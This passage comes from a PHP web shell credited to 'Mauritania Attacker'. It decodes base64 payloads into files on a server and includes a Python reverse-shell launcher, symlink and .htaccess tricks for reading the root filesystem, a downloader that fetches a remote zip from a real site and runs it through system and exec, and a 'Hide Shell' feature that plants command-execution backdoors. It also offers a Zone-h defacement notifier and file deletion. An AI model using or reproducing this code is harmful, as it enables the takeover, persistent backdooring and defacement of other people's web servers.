7493$merdeeeee = 'PGh0bWw+PGhlYWQ+PHRpdGxlPkFub25HaG9zdCBQeXRob24gQ29ubmVjdCBTaGVsbCBQcml2ODwvdGl0bGU+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3MTQuMHp6MC5jb20vMjAxNC8wNi8wNC8yMS8zOTY1NTQzOTQucG5nIiB0eXBlPSJpbWFnZS94LWljb24iIC8+PHN0eWxlIHR5cGU9InRleHQvY3NzIj4NCmJvZHl7IGJhY2tncm91bmQtY29sb3I6ICMyMjIyMjIgIWltcG9ydGFudDsgY29sb3I6ICMwMDk5MDA7IHRleHQtc2hhZG93OiMwMDAgMHB4IDJweCA3cHg7fSAgICAgIGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7IGZvbnQtZmFtaWx5OiBUYWhvbWEsIEdlbmV2YTsgY29sb3I6IzAwNzcwMDsgcGFkZGluZzoycHggMnB4O30gICAgICBhOmhvdmVye2NvbG9yOiMwMDk5MDA7IHRleHQtc2hhZG93OiMwMGZmMDAgMHB4IDBweCAzcHg7fQkgIC5hcmVhIHsgY29sb3I6ICMwMGJiMDA7IGZvbnQtc2l6ZTogOXB0OyB0ZXh0LXNoYWRvdzojMDAwMDAwIDBweCAycHggN3B4OyBib3JkZXI6IHNvbGlkIDBweCAjMDA3NzAwOyBiYWNrZ3JvdW5kLWNvbG9yOnRyYW5zcGFyZW50OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDA5OTAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDAsMTE5LDApIDBweCAwcHggNHB4OyB9CSAgaW5wdXRbdHlwZT1zdWJtaXRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA3NzA7ICBmb250LXdlaWdodDogYm9sZDsgdGV4dC1hbGlnbjogY2VudGVyOyAgdGV4dC1zaGFkb3c6IDAgMXB4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC4zKTsgIGJhY2tncm91bmQ6ICNhZWFlYWU7ICBiYWNrZ3JvdW5kLWNsaXA6IHBhZGRpbmctYm94OyAgYm9yZGVyOiAxcHggc29saWQgIzI4NDQ3MzsgIGJvcmRlci1ib3R0b20tY29sb3I6ICMyMjNiNjY7ICBib3JkZXItcmFkaXVzOiA0cHg7ICBjdXJzb3I6IHBvaW50ZXI7ICBiYWNrZ3JvdW5kLWltYWdlOi13ZWJraXQtbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiAtbW96LWxpbmVhci1ncmFkaWVudCh0b3AsICNlYWVhZWEsICNkMGQwZDApOyAgYmFja2dyb3VuZC1pbWFnZTogLW8tbGluZWFyLWdyYWRpZW50KHRvcCwgI2VhZWFlYSwgI2QwZDBkMCk7ICBiYWNrZ3JvdW5kLWltYWdlOiBsaW5lYXItZ3JhZGllbnQodG8gYm90dG9tLCAjZWFlYWVhLCAjZDBkMGQwKTsgIC13ZWJraXQtYm94LXNoYWRvdzogaW5zZXQgMCAxcHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjUpLCBpbnNldCAwIDAgN3B4IHJnYmEoMjU1LCAyNTUsIDI1NSwgMC40KSwgMCAxcHggMXB4IHJnYmEoMCwgMCwgMCwgMC4xNSk7ICBib3gtc2hhZG93OiBpbnNldCAwIDFweCByZ2JhKDI1NSwgMjU1LCAyNTUsIDAuNSksIGluc2V0IDAgMCA3cHggcmdiYSgyNTUsIDI1NSwgMjU1LCAwLjQpLCAwIDFweCAxcHggcmdiYSgwLCAwLCAwLCAwLjE1KTsgfSBpbnB1dFt0eXBlPXRleHRdeyBwYWRkaW5nOiAzcHg7IGNvbG9yOiAjMDA5OTAwOyB0ZXh0LXNoYWRvdzogIzc3Nzc3NyAwcHggMHB4IDNweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMDc3MDA7ICAgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsODUsODUpIDBweCAwcHggNHB4OyAgIC1tb3otYm94LXNoYWRvdzogcmdiKDg1LDg1LDg1KSAwcHggMHB4IDRweDt9IGlucHV0W3R5cGU9c3VibWl0XTpob3ZlciwgaW5wdXRbdHlwZT10ZXh0XTpob3ZlcnsgY29sb3I6ICNmZmZmZmY7IHRleHQtc2hhZG93OiAjMDA2NjAwIDBweCAwcHggNHB4OyBib3gtc2hhZG93OiAwcHggMHB4IDRweCAjMDBkZDAwOyBib3JkZXI6IDFweCBzb2xpZCAjMDBkZDAwOyAgICBwYWRkaW5nOiAzcHg7ICAgLXdlYmtpdC1ib3JkZXItcmFkaXVzOiA0cHg7ICAgLW1vei1ib3JkZXItcmFkaXVzOiA0cHg7ICAgYm9yZGVyLXJhZGl1czogNHB4OyAgIC13ZWJraXQtYm94LXNoYWRvdzogcmdiYSgwLDExOSwwKSAwcHggMHB4IDRweDsgICAtbW96LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7fSBzZWxlY3R7IHBhZGRpbmc6IDNweDsgd2lkdGg6IDE2MnB4OyBjb2xvcjogIzAwYWEwMDsgdGV4dC1zaGFkb3c6IzAwMCAwcHggMnB4IDdweDsgYm9yZGVyOiAxcHggc29saWQgIzAwNzcwMDsgYmFja2dyb3VuZDogdHJhbnNwYXJlbnQ7IHRleHQtZGVjb3JhdGlvbjogbm9uZTsgYm94LXNoYWRvdzogMHB4IDBweCA0cHggIzAwYWEwMDsgIHBhZGRpbmc6IDNweDsgICAtd2Via2l0LWJvcmRlci1yYWRpdXM6IDRweDsgICAtbW96LWJvcmRlci1yYWRpdXM6IDRweDsgICBib3JkZXItcmFkaXVzOiA0cHg7ICAgLXdlYmtpdC1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2IoODUsIDg1LCA4NSkgMHB4IDBweCA0cHg7fSBzZWxlY3Q6aG92ZXJ7IGJvcmRlcjogMXB4IHNvbGlkICMwMGRkMDA7IGJveC1zaGFkb3c6IDBweCAwcHggNHB4ICMwMGRkMDA7ICAgcGFkZGluZzogM3B4OyAgIC13ZWJraXQtYm9yZGVyLXJhZGl1czogNHB4OyAgIC1tb3otYm9yZGVyLXJhZGl1czogNHB4OyAgIGJvcmRlci1yYWRpdXM6IDRweDsgICAtd2Via2l0LWJveC1zaGFkb3c6IHJnYmEoMCwxMTksMCkgMHB4IDBweCA0cHg7ICAgLW1vei1ib3gtc2hhZG93OiByZ2JhKDAsMTE5LDApIDBweCAwcHggNHB4O30gICAjY29tbWFuZHN7IG1hcmdpbi1sZWZ0OiAzNTBweDsgbWFyZ2luLXJpZ2h0OiAzNTBweDsgfSBvcHRpb257IGNvbG9yOiAjNzc3Nzc3OyB9PC9zdHlsZT4NCjw/cGhwDQplY2hvICc8Y2VudGVyPjxmb250IGNvbG9yPSIjMDA3NzAwIiBmYWNlPSJUYWhvbWEiIHN0eWxlPSJmb250LXNpemU6IDEycHQiPlVzYWdlOiByZXZlcnNlc2gucHkgW0hvc3RdIFtQb3J0XTwvZm9udD4nOw0KZWNobyc8cCBhbGlnbj0iY2VudGVyIj4gDQo8aW1nIGJvcmRlcj0iMCIgc3JjPSJodHRwOi8vd3d3MTAuMHp6MC5jb20vMjAxNC8wOC8yMC8yMC8yMjU4MTYzNTUucG5nIj48L3A+PGZvbnQgZmFjZT0iR2VuZXZhIiBhbGlnbj0iY2VudGVyIiBzaXplPSIyIiBjb2xvcj0iIzAwOTkwMCI+IENvZGVkIEJ5IE1hdXJpdGFuaWEgQXR0YWNrZXIgPC9mb250Pjxicj4NCjxmb3JtIG1ldGhvZD1nZXQgYWN0aW9uPSInLiRtZS4nIj4NCjxwPjx0ZXh0YXJlYSBjbGFzcz0iYXJlYSIgcm93cz0iMTMiIG5hbWU9IlMxIiBjb2xzPSI3MCIgPic7DQoNCmlmIChzdHJsZW4oJF9HRVRbJ2NvbW1hbmQnXSk+MSAmJiAkX0dFVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9HRVRbJ2V4ZWNtZXRob2QnXSgkX0dFVFsnY29tbWFuZCddKTt9DQppZiAoc3RybGVuKCRfUE9TVFsnY29tbWFuZCddKT4xICYmICRfUE9TVFsnZXhlY21ldGhvZCddIT0icG9wZW4iKXsNCmVjaG8gJF9QT1NUWydleGVjbWV0aG9kJ10oJF9QT1NUWydjb21tYW5kJ10pO30NCg0KaWYgKHN0cmxlbigkX0dFVFsnY29tbWFuZCddKT4xICYmICRfR0VUWydleGVjbWV0aG9kJ109PSJwb3BlbiIpew0KcG9wZW4oJF9HRVRbJ2NvbW1hbmQnXSwiciIpO30NCg0KZWNobyc8L3RleHRhcmVhPjwvcD4NCjxwPjxjZW50ZXI+SWYgbm90aGluZyB3b3JrIGl0IG1lYW5zIHRoYXQgcHl0aG9uIGlzIG5vdCBlbmFibGVkIGluIHRoaXMgc2VydmVyIDooPC9jZW50ZXI+PC9wPg0KPHAgYWxpZ249ImNlbnRlciI+PHN0cm9uZz5Db21tYW5kOiBweXRob24gcmV2ZXJzZS5weSB5b3VySVAgUG9ydDwvc3Ryb25nPjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPSJ2dyIgc2l6ZT0iNTAiIHZhbHVlPSJjbWQiPiA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0iY29tbWFuZCIgc2l6ZT0iNDMiPiA8c2VsZWN0IG5hbWU9ZXhlY21ldGhvZD4NCjxvcHRpb24gdmFsdWU9InN5c3RlbSI+U3lzdGVtPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJleGVjIj5FeGVjPC9vcHRpb24+ICA8b3B0aW9uIHZhbHVlPSJwYXNzdGhydSI+UGFzc3RocnU8L29wdGlvbj48b3B0aW9uIHZhbHVlPSJwb3BlbiI+cG9wZW48L29wdGlvbj4NCjwvc2VsZWN0PiA8aW5wdXQgdHlwZT0ic3VibWl0IiB2YWx1ZT0iRXhlY3V0ZSI+DQo8L3A+PC9mb3JtPic7DQo/Pg==';
7494$file = fopen("kiter.php" ,"w+");
7495$write = fwrite ($file ,base64_decode($merdeeeee));
7496fclose($file);
7497echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Python Connect Shell Priv8</span><center><center><br><iframe src=pyrevrshell/kiter.php width=75% height=70% frameborder=0></iframe></div></center>';
7498}
7499if(isset($_GET['action']) && $_GET['action'] == 'rootexecbpass'){
7500echo '<center><b class="conte">
7501<a href="?action=grasy">Bypass /etc/passwd</a> -
7502<a href="?action=nemcon">Bypass Users Server</a> -
7503<a href="?action=cgipl">Bypass Perl Security</a> -
7504<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
7505<a href="?action=bforb">Bypass system function</a> -
7506<a href="?action=rootexecbpass">Bypass With exec Function</a> -
7507<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
7508<a href="?action=posget">Bypass posix_getpwuid</a> -
7509<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
7510<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
7511<a href="?action=setphr">Bypass suPHP Security</a> -
7512<a href="?action=simpelb">Simple Bypasser</a> -
7513<a href="?action=ritf">Read Files</a> -
7514<a href="?action=baidir">Bypass Chmod Directory</a> -
7515<a href="?action=forb14">Bypass Forbidden 2014</a> -
7516<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
7517</b>';
7518
7519echo '<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With exec Function</span><center><br>';
7520mkdir('excrooooot', 0755);
7521chdir('excrooooot');
7522$excrooooot = 'PGhlYWQ+DQo8dGl0bGU+QnlwYXNzIEJ5cGFzcyBSb290IFBhdGggYnkgTWF1cml0YW5pYSBBdHRhY2tlcjwvdGl0bGU+DQo8L2hlYWQ+PGxpbmsgcmVsPSJzaG9ydGN1dCBpY29uIiBocmVmPSJodHRwOi8vd3d3Lmljb25qLmNvbS9pY28vYy91L2N1MWJtcGdiMWsuaWNvIiB0eXBlPSJpbWFnZS94LWljb24iIC8+DQo8c3R5bGUgdHlwZT0idGV4dC9jc3MiPjwhLS0gYm9keSB7YmFja2dyb3VuZC1jb2xvcjogdHJhbnNwYXJlbnQ7IGZvbnQtZmFtaWx5OkNvdXJpZXIJbWFyZ2luLWxlZnQ6IDBweDsgbWFyZ2luLXRvcDogMHB4OyB0ZXh0LWFsaWduOiBjZW50ZXI7IE5ldztmb250LXNpemU6MTJweDtjb2xvcjojMDA4ODAwO2ZvbnQtd2VpZ2h0OjQwMDt9IGF7dGV4dC1kZWNvcmF0aW9uOm5vbmU7fSBhOmxpbmsge2NvbG9yOiMwMDk5MDA7fSBhOnZpc2l0ZWQge2NvbG9yOiMwMDg4MDA7fSBhOmhvdmVye2NvbG9yOiMwMGJiMDA7fSBhOmFjdGl2ZSB7Y29sb3I6IzAwOTkwMDt9IC0tPjwhLS0gTWFkZSBCeSBNYXVyaXRhbmlhIEF0dGFja2VyIC0tPg0KPC9zdHlsZT48YnI+PGJyPjxib2R5IGJnQ29sb3I9IjAwMDAwMCI+PHRyPjx0ZD48P3BocCBlY2hvICI8Zm9ybSBtZXRob2Q9J1BPU1QnIGFjdGlvbj0nJz4iIDsgDQplY2hvICI8Y2VudGVyPjxpbnB1dCB0eXBlPSdzdWJtaXQnIHZhbHVlPSdCeXBhc3MgaXQnIG5hbWU9J2V4ZWNlcic+PC9jZW50ZXI+IjsgDQppZiAoaXNzZXQoJF9QT1NUWydleGVjZXInXSkpeyBleGVjKCdsbiAtcyAvIHJvb3QtZXhlYy50eHQnKTsgDQokZnZja2VtID0nVDNCMGFXOXVjeUJKYm1SbGVHVnpJRVp2Ykd4dmQxTjViVXhwYm10ekRRcEVhWEpsWTNSdmNubEpibVJsZUNCemMzTnpjM011YUhSdERRcEJaR1JVZVhCbElIUjRkQ0F1Y0dod0RRcEJaR1JJWVc1a2JHVnlJSFI0ZENBdWNHaHcnOyANCiRmaWxlID0gZm9wZW4oIi5odGFjY2VzcyIsIncrIik7ICR3cml0ZSA9IGZ3cml0ZSAoJGZpbGUgLGJhc2U2NF9kZWNvZGUoJGZ2Y2tlbSkpOyAkZXhlY2VyID0gc3ltbGluaygiLyIsInJvb3QtZXhlYy50eHQiKTsgDQokcnQ9Ijxicj48YSBocmVmPXJvb3QtZXhlYy50eHQgVEFSR0VUPSdfYmxhbmsnPjxmb250IGNvbG9yPSMwMGJiMDAgc2l6ZT0yIGZhY2U9J0NvdXJpZXIgTmV3Jz48Yj5CeXBhc3NlZCBTdWNjZXNzZnVsbHk8L2I+PC9mb250PjwvYT4iOyANCmVjaG8gIjxicj48YnI+PGI+RG9uZS4uICE8L2I+PGJyPjxicj5DaGVjayBsaW5rIGdpdmVuIGJlbG93IGZvciAvIGZvbGRlciBzeW1saW5rIDxicj4kcnQ8L2NlbnRlcj4iO30gZWNobyAiPC9mb3JtPiI7ICA/PjwvdGQ+PC90cj48L2JvZHk+PC9odG1sPg==';
7523
7524$file = fopen("excrooooot.php" ,"w+");
7525$write = fwrite ($file ,base64_decode($excrooooot));
7526fclose($file);
7527chmod("excrooooot.php",0755);
7528echo "<iframe src=excrooooot/excrooooot.php width=60% height=60% frameborder=0></iframe>";
7529}
7530if(isset($_GET['action']) && $_GET['action'] == 'bypsrootwzp'){
7531echo '<center><b class="conte">
7532<a href="?action=grasy">Bypass /etc/passwd</a> -
7533<a href="?action=nemcon">Bypass Users Server</a> -
7534<a href="?action=cgipl">Bypass Perl Security</a> -
7535<a href="?action=bypsrootwzp">Bypass With Zip File</a> -
7536<a href="?action=bforb">Bypass system function</a> -
7537<a href="?action=rootexecbpass">Bypass With exec Function</a> -
7538<a href="?action=rootshelleexecbpass">Bypass With shell_exec</a> -
7539<a href="?action=posget">Bypass posix_getpwuid</a> -
7540<a href="?action=suphp">Bypass PHP Suhosin function blacklist</a> -
7541<a href="?action=suppet">Bypass Functions suPHP_ConfigPath</a> -
7542<a href="?action=setphr">Bypass suPHP Security</a> -
7543<a href="?action=simpelb">Simple Bypasser</a> -
7544<a href="?action=ritf">Read Files</a> -
7545<a href="?action=baidir">Bypass Chmod Directory</a> -
7546<a href="?action=forb14">Bypass Forbidden 2014</a> -
7547<a href="?action=smod14">Bypass SafeMode 2014 Priv8</a> </center>
7548</b>';
7549echo'<center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Bypass Root Path With Zip File</span><br>Coded By Mauritania Attacker</center>';
7550echo"<p align='center'><img border='0' src='http://4.bp.blogspot.com/-B2RRd3iYCgI/Uj6UtLxxApI/AAAAAAAAATc/DJHEPAWNTmk/s320/Password-protected-zip-file.png'></p>";
7551echo'<div class="tul"><font color="009900" face="Impact, Geneva, sans-serif" style="font-size: 8pt"><font/>';
7552
7553echo"<center><font face='ghost' color='red' size='5'><font/>
7554<form method='post'>
7555<input type='submit' value='Grab To Root Now' name='fuck'><br>
7556<center><font color='red' size='4' face='ghost'>Remote Zip File</font><input type='text' size='40' name='shell' value='http://hcp1.es/wp-content/uploads/v4.zip'
7557</font></center>
7558</form>
7559</center>
7560</p>";
7561
7562
7563@error_reporting(0);
7564
7565$file = $_POST['shell'];
7566//Generate zip file
7567mkdir('wooooot', 0755);
7568chdir('wooooot');
7569$fopen = fopen("v4.zip",'w');
7570$shell = @file_get_contents($file);
7571$swrite = fwrite($fopen ,$shell);
7572if($swrite){
7573echo "Zip File Downloaded Successfully\n";
7574sleep(2);
7575echo "<p>Going To Unzip the File to Get r00t....</p>";
7576
7577sleep(2);
7578
7579//system
7580system('unzip v4.zip');
7581
7582
7583
7584//passthru
7585passthru('unzip v4.zip');
7586
7587
7588
7589//shell_exec
7590shell_exec('unzip v4.zip');
7591
7592
7593
7594//exec
7595exec('unzip v4.zip');
7596
7597
7598//proc_open
7599proc_open('unzip v4.zip');
7600
7601
7602
7603
7604sleep(1);
7605
7606//Extracting htaccess For Symlink
7607chdir('wooooot');
7608$htaccess = 'T1BUSU9OUyBJbmRleGVzIEZvbGxvd1N5bUxpbmtzIFN5bUxpbmtzSWZPd25lck1hdGNoIEluY2x1ZGVzIEluY2x1ZGVzTk9FWEVDIEV4ZWNDR0kNCk9wdGlvbnMgSW5kZXhlcyBGb2xsb3dTeW1MaW5rcw0KRm9yY2VUeXBlIHRleHQvcGxhaW4NCkFkZFR5cGUgdGV4dC9wbGFpbiAucGhwIA0KQWRkVHlwZSB0ZXh0L3BsYWluIC5odG1sDQpBZGRUeXBlIHRleHQvaHRtbCAuc2h0bWwNCkFkZFR5cGUgdHh0IC5waHANCkFkZEhhbmRsZXIgc2VydmVyLXBhcnNlZCAucGhwDQpBZGRIYW5kbGVyIHR4dCAucGhwDQpBZGRIYW5kbGVyIHR4dCAuaHRtbA0KQWRkSGFuZGxlciB0eHQgLnNodG1sDQpPcHRpb25zIEFsbA0KT3B0aW9ucyBBbGw=';
7609$priv8priv = fopen(".htaccess" ,"w+");
7610$xwrite = fwrite ($priv8priv ,base64_decode($htaccess));
7611
7612sleep(1);
7613
7614echo "<p>Loading Perl unzipper.... \!/ </p>";
7615//dezipper.pl generate
7616chdir('wooooot');
7617$l0vercodee = 'eyANCnN5c3RlbSgidW56aXAgdjQuemlwIik7DQpleGVjKCJ1bnppcCB2NC56aXAiKTsNCnBhc3N0aHJ1KCJ1bnppcCB2NC56aXAiKTsNCnNoZWxsX2V4ZWMoInVuemlwIHY0LnppcCIpOw0KcHJvY19vcGVuKCJ1bnppcCB2NC56aXAiKTsNCn0=';
7618$greatshiit = fopen("dezipper.pl" ,"w+");
7619$write = fwrite ($greatshiit ,base64_decode($l0vercodee));
7620if($write){
7621echo "<p>Perl Unzipper Downloaded Successfully</p>";
7622fclose($greatshiit);
7623chmod("dezipper.pl",0755);
7624
7625echo "<p>Unzipping File with Perl \!/ </p>";
7626
7627system('perl dezipper.pl');
7628passthru('perl dezipper.pl');
7629shell_exec('perl dezipper.pl');
7630exec('perl dezipper.pl');
7631proc_open('perl dezipper.pl');
7632
7633echo"<br><a href=wooooot/1.txt TARGET='_blank'>Link=====><font color=red size=3 face='Courier New'><b>Root Path</b></font></a>";
7634
7635}
7636}
7637}
7638
7639
7640
7641if(isset($_GET['action']) && $_GET['action'] == 'zonh'){
7642echo '<center><b class="conte">
7643<a href="?action=mysqslsls">MySQL & PostgreSql Connect</a> -
7644<a href="?action=cmd">Command Execution</a> -
7645<a href="?action=com64">Base64 Command</a> -
7646<a href="?action=vgrab">Config Grabber</a> -
7647<a href="?action=subdomainchkrezes">Subdomain Checker</a> -
7648<a href="?action=joomlarvrssrvetll">Joomla Reverse Server</a> -
7649<a href="?action=wordddprssrrrvrse">Wordpress Reverse Server</a> -
7650<a href="?action=cari">Find Directory Writable/Readable</a> -
7651<a href="?action=zonh">Zone-h Notifier</a> -
7652<a href="?action=shhhshell">Shtml Command Shell</a> -
7653<a href="?action=beko">Back connect Simple</a> -
7654<a href="?action=rubybckconnnect">Ruby BackConnect</a> -
7655<a href="?action=prlbckacnonect">Perl BackConnect</a> -
7656<a href="?action=pythnonbakcncete">Python BackConnect</a> -
7657<a href="?action=exploit">Exploit</a> -
7658<a href="?action=whmcskillrer">Whcms Killer</a> -
7659<a href="?action=webmllllpwdchnger">Webmail Password Changer</a> -
7660<a href="?action=wpcdrfex">Wordpress Csrf Exploit</a>
7661</center>
7662</b>';
7663?>
7664<center>
7665<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Mass Zone-h Notifier</span></b></center><br>
7666<form action="" method='POST'><table><tr><td height='45' colspan='2'><form method="post">
7667<input type="text" name="defacer" value="Virusa Worm" />
7668<select name="hackmode">
7669<option >--------SELECT--------</option>
7670<option value="1">known vulnerability (i.e. unpatched system)</option>
7671<option value="2" >undisclosed (new) vulnerability</option>
7672<option value="3" >configuration / admin. mistake</option>
7673<option value="4" >brute force attack</option>
7674<option value="5" >social engineering</option>
7675<option value="6" >Web Server intrusion</option>
7676<option value="7" >Web Server external module intrusion</option>
7677<option value="8" >Mail Server intrusion</option>
7678<option value="9" >FTP Server intrusion</option>
7679<option value="10" >SSH Server intrusion</option>
7680<option value="11" >Telnet Server intrusion</option>
7681<option value="12" >RPC Server intrusion</option>
7682<option value="13" >Shares misconfiguration</option>
7683<option value="14" >Other Server intrusion</option>
7684<option value="15" >SQL Injection</option>
7685<option value="16" >URL Poisoning</option>
7686<option value="17" >File Inclusion</option>
7687<option value="18" >Other Web Application bug</option>
7688<option value="19" >Remote administrative panel access bruteforcing</option>
7689<option value="20" >Remote administrative panel access password guessing</option>
7690<option value="21" >Remote administrative panel access social engineering</option>
7691<option value="22" >Attack against administrator(password stealing/sniffing)</option>
7692<option value="23" >Access credentials through Man In the Middle attack</option>
7693<option value="24" >Remote service password guessing</option>
7694<option value="25" >Remote service password bruteforce</option>
7695<option value="26" >Rerouting after attacking the Firewall</option>
7696<option value="27" >Rerouting after attacking the Router</option>
7697<option value="28" >DNS attack through social engineering</option>
7698<option value="29" >DNS attack through cache poisoning</option>
7699<option value="30" >Not available</option>
7700</select>
7701
7702<select name="reason">
7703<option >--------SELECT--------</option>
7704<option value="1" >Heh...just for fun!</option>
7705<option value="2" >Revenge against that website</option>
7706<option value="3" >Political reasons</option>
7707<option value="4" >As a challenge</option>
7708<option value="5" >I just want to be the best defacer</option>
7709<option value="6" >Patriotism</option>
7710<option value="7" >Not available</option>
7711</select>
7712<input type="hidden" name="action" value="zone-h">
7713<center><br><textarea style="color: #009900; background:transparent; box-shadow: 0px 0px 4px #009900;" name="domain" cols="60" rows="9" id="domains">List Of Domains</textarea>
7714<br /><br /><input type="submit" value="Send Now !" name="SendNowToZoneH" /></center>
7715</form></td></tr></table></form>
7716<!-- End Of Zone-H -->
7717</td></center>
7718<?php
7719}
7720if(isset($_GET['action']) && $_GET['action'] == 'umpetan'){
7721if(isset($_GET['vw'])){
7722$op = $_GET['vw'];
7723if($op == ".htaccess"){
7724$o = stripslashes(base64_decode("IyBPdmVycmlkZSBkZWZhdWx0IGRlbnkgcnVsZSB0byBtYWtlIC5odGFjY2VzcyBmaWxlIGFjY2Vzc2libGUgb3ZlciB3ZWINCjxGaWxlcyB+IFwiXlxcLmh0XCI+DQpPcmRlciBhbGxvdyxkZW55DQpBbGxvdyBmcm9tIGFsbA0KPC9GaWxlcz4NCkFkZFR5cGUgYXBwbGljYXRpb24veC1odHRwZC1waHAgLmh0YWNjZXNzDQoNCiMjIyMjIyBTSEVMTCAjIyMjIyMgPD9waHAgZWNobyBcIlxcblwiO3Bhc3N0aHJ1KCRfR0VUW1wnY1wnXS5cIiAyPiYxXCIpOyA/PiMjIyMjIyBMTEVIUyAjIyMjIyM="));
7725$a = fopen(".htaccess", "w");
7726fputs($a, $o);
7727fclose($a);
7728echo '<br><center>Visit <a target="_blank" href="http://'.$_SERVER['HTTP_HOST'].'/.htaccess?c=">'.$_SERVER['HTTP_HOST'].'/.htaccess?c=</a></center>';
7729}
7730else{
7731$o = stripslashes(base64_decode("PD9waHAgc3lzdGVtKCRfR0VUW1wnY1wnXSk7ID8+"));
7732$a = fopen("gsbtr.php", "w");
7733fputs($a, $o);
7734fclose($a);
7735echo '<br><center>Visit <a target="_blank" href="'.$_SERVER['HTTP_HOST'].'/gsbtr.php?c=">'.$_SERVER['HTTP_HOST'].'/gsbtr.php?c=</a></center>';
7736}
7737}
7738else{ ?>
7739<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Hide Shell</b></center>
7740<br><div><center>
7741<form action="" method="get">
7742<select name="vw">
7743<option>.htaccess</option>
7744<option>.php</option>
7745</select>
7746<input type="hidden" name="action" value="umpetan">
7747<input type="submit" value="Execute">
7748</form></center>
7749</div>
7750<?php
7751}}
7752if(isset($_GET['action']) && $_GET['action'] == 'simling'){
7753if(isset($_GET['cook'])){
7754$a = fopen("oncha.php", "w");
7755fputs($a, $o);
7756fclose($a);
7757}
7758
7759if(isset($_GET['fp'])){
7760$filepath = $_GET['fp'];
7761$sitepath = $_GET['sp'];
7762$writeblefilepath = 'myfile.txt';
7763$flib=$sitepath.$writeblefilepath;
7764@unlink($flib);
7765symlink($filepath, $flib);
7766echo readlink($flib)."\n";
7767echo "<textarea cols=30 rows=10>".file_get_contents("http://".$_SERVER['HTTP_HOST']."/".$writeblefilepath)."</textarea>";
7768@unlink($flib);
7769}
7770else{ ?>
7771<div>
7772<br><center><b class="font-effect-fire-animation" style=font-family:Ubuntu;font-size:25px;color:#ee5500;>Symlink #2</b><br><br>
7773<a href="?action=simlinge">First time Click here</a><br /><br />
7774File path:<br />
7775<form action="" method="get">
7776<input type="text" name="fp" value="/home/users/public_html/file"><br /><br />
7777Site path:<br />
7778<input type="text" name="sp" value="/home/users/public_html/"><br />
7779<input type="hidden" name="action" value="tools"><br>
7780<input type="submit" value="Execute" style="border-top:0"><br />
7781</form></center>
7782</div>
7783<?php } ?>
7784
7785</div><br><center>
7786<textarea id="source">
7787<?php
7788if(isset($_POST['site'])){
7789$fuckcloud = dns_get_record($_POST['site'], DNS_TXT);
7790print_r($fuckcloud);
7791}
7792echo '</textarea></center>';
7793}
7794?>
7795<?php
7796
7797if(isset($_GET['action']) && $_GET['action'] == 'mumpet'){
7798?>
7799<br><center><span style="font-size:30px; font-family:Fredericka the Great; color:#009900">Files Manager</span></center><br><div id="box"><br><br>
7800<form action="" method="get">
7801<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b> Change directory</b></font> <input type="text" value="<?php if(empty($_GET['go'])){echo getcwd();}else{echo $_GET['go'];} ?>" name="go">
7802<input type="hidden" name="action" value="files">
7803<input type="submit" value="Execute">
7804</form><br>
7805<form action="" method="get">
7806<font color="009900" face="Tahoma, Geneva, sans-serif" style="font-size: 8pt"><b> Make directory</b></font> <input type="text" value="name" name="newdir">
7807<input type="hidden" name="go" value="<?php echo getcwd(); ?>">
7808<input type="hidden" name="action" value="mumpet">
7809<input type="submit" value="Execute">
7810</form><br>
7811<?php
7812// delete
7813if(isset($_GET['delete']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
7814$file = $_GET['delete'];
7815// if exist
7816if(is_dir($file) || file_exists($file)){
7817// if file del
7818if(!is_dir($file)){
7819unlink($file);
7820echo ' <font color="#b0b000">File deleted</font><br><br>';
7821}
7822if(is_dir($file)){
7823function rmdirs($d) {
7824$f = glob($d . '*', GLOB_MARK);
7825foreach($f as $z){
7826if(is_dir($z)) rmdirs($z);
7827else unlink($z);
7828}
7829if(is_dir($d)) rmdir($d);
7830}
7831rmdirs($file);
7832echo ' <font color="#b0b000">Folder deleted</font><br><br>';
7833}
7834}
7835else{
7836echo ' <font color="red">File or folder does not exist</font><br><br>';
7837}
7838}
7839
7840// rename
7841if(isset($_GET['old_name']) && !empty($_GET['rename_file']) && !empty($_GET['action']) && $_GET['action'] == 'mumpet'){
